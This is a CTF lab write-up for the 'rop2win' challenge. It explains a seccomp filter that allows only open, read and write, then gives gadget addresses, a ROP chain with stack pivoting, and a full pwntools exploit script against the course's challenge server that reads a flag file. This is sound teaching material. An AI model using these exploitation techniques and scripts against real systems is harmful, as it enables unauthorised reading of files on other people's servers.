Simple PWN - 0x10(`seccomp`/Lab - `rop2win`)

Simple PWN - 0x10(seccomp/Lab - rop2win)

tags: CTF PWN eductf

challenge: nc edu-ctf.zoolab.org 10005

seccomp background

Pwn week1

Original Code

:::spoiler

#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

char fn[0x20];
char ROP[0x100];


// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    printf("Give me filename: ");
    read(0, fn, 0x20);

    printf("Give me ROP: ");
    read(0, ROP, 0x100);

    char overflow[0x10];
    printf("Give me overflow: ");
    read(0, overflow, 0x30);

    return 0;
}

:::

  • You can observe that it just allow open, read, write system call, so our goal is **read the flag in the server** by using these allowable system call.
  • It has global variable so that we can write ROP chain in it.
  • You also can analyze the sample ELF file by seccomp-tools if there is no source code
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
      $ seccomp-tools dump ./chal
       line  CODE  JT   JF      K
      =================================
       0000: 0x20 0x00 0x00 0x00000004  A = arch
       0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
       0002: 0x20 0x00 0x00 0x00000000  A = sys_number
       0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
       0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
       0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
       0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
       0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
       0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
       0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011
       0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
       0011: 0x06 0x00 0x00 0x00000000  return KILL
    

ROW Background

  • According to open(2) — Linux manual page, it’ll return fd(file descriptor).

    The open() system call opens the file specified by pathname. If the specified file does not exist, it may optionally (if O_CREAT is specified in flags) be created by open().

    The return value of open() is a file descriptor, a small, nonnegative integer that is an index to an entry in the process’s table of open file descriptors. The file descriptor is used in subsequent system calls (read(2), write(2), lseek(2), fcntl(2), etc.) to refer to the open file. The file descriptor returned by a successful call will be the lowest-numbered file descriptor not currently open for the process.

  • According to read(2) — Linux manual page

    read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

  • According to write(2) — Linux manual page

    write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.

  • According to Linux System Call Table for x86 64 | %rax | System Call | %rdi | %rsi | %rdx | %r10 | %r8 | %r9 | |:——–:|:———–:|:———————:|:————————-:|:————————-:|:—-:|:—:|:—:| |0|sys_read|unsigned int fd|char *buf|size_t count|||| |1|sys_write|unsigned int fd|const char *buf|size_t count|||| |2|sys_open| const char *filename|int flags|int mode||||
    • Note that, flags argument in sys_open is:

      The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read-only, write-only, or read/write, respectively.

    • mode argument can ignore

Exploit - ROP + stack pivoting

  1. Find the address of global variable that is fn and ROP
     $ objdump -d -M Intel chal | grep "<fn>"
     40189c: 48 8d 05 9d 1a 0e 00    lea 0xe1a9d(%rip),%rax # 4e3340 <fn>
     $ objdump -d -M Intel chal | grep "<ROP>"
     4018c9: 48 8d 05 90 1a 0e 00    lea 0xe1a90(%rip),%rax # 4e3360 <ROP>
    
     fn = 0x4e3340
     ROP_addr = 0x4e3360
    
  2. Find ROP gadget address
     $ ROPgadget --binary chal --multibr --only "pop|syscall|ret|leave" > one_gadget
     $ vim one_gadget
    
     pop_rax_ret = 0x45db87
     pop_rdi_ret = 0x4038b3
     pop_rsi_ret = 0x402428
     pop_rdx_rbx_ret = 0x493a2b
     syscall_ret = 0x4284b6
     leave_ret = 0x40190c
    
  3. Construct ROP chain
     ROP = flat(
        # Open filename
        # fd = open("flag", 0);
        pop_rax_ret, 2,
        pop_rdi_ret, fn,
        pop_rsi_ret, 0,
        syscall_ret,
    
        # Read the file
        # read(fd, buf, 0x30);
        pop_rax_ret, 0,
        pop_rdi_ret, 3,    # we can oversee the fd is 3 because 0,1,2 are preserved by default
        pop_rsi_ret, fn,
        pop_rdx_rbx_ret, 0x30, 0,
        syscall_ret,
    
        # Write the file
        # write(1, buf, 0x30); // 1 --> stdout
        # the 2nd and 3rd argument are the same to read
        pop_rax_ret, 1,
        pop_rdi_ret, 1,
        syscall_ret,
        )
    
  4. Write ROP chain to global variable(a new stack)
     r.sendafter("Give me ROP:", b'a'*0x8 + ROP)
    
    • Note that, you must try and error to observe how many bytes you have to overlap by trash such as b'a'*0x8
  5. Stack pivoting
     r.sendafter('Give me overflow:', b'a'*0x20 + p64(ROP_addr) + p64(leave_ret))
    
    • Note that, you must try and error to observe how many bytes you have to overlap by trash such as b'a'*0x20
  6. Where is the flag file in remote server? You can build the docker and observe the relative position → /home/chal/flag
     r.sendafter("Give me filename:", '/home/chal/flag\x00')
    
  7. Then we got flag!!!
    • Whole exploit :::spoiler code ```python= from pwn import *

    #r = process(‘./chal’) r = remote(‘edu-ctf.zoolab.org’, 10005) raw_input() context.arch = ‘amd64’

    fn = 0x4e3340 ROP_addr = 0x4e3360

    pop_rax_ret = 0x45db87 pop_rdi_ret = 0x4038b3 pop_rsi_ret = 0x402428 pop_rdx_rbx_ret = 0x493a2b syscall_ret = 0x4284b6 leave_ret = 0x40190c

    ROP = flat( # Open filename pop_rax_ret, 2, pop_rdi_ret, fn, pop_rsi_ret, 0, syscall_ret,

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # Read the file
    pop_rax_ret, 0,
    pop_rdi_ret, 3,
    pop_rsi_ret, fn,
    pop_rdx_rbx_ret, 0x30, 0,
    syscall_ret,
    
    # Write the file
    pop_rax_ret, 1,
    pop_rdi_ret, 1,
    syscall_ret,
    )
    

    r.sendafter(“Give me filename:”, ‘/home/chal/flag\x00’) r.sendafter(“Give me ROP:”, b’a’0x8 + ROP) r.sendafter(‘Give me overflow:’, b’a’0x20 + p64(ROP_addr) + p64(leave_ret))

    r.interactive() ``` :::

    Reference

    Linux 核心設計: 檔案系統概念及實作手法 (上)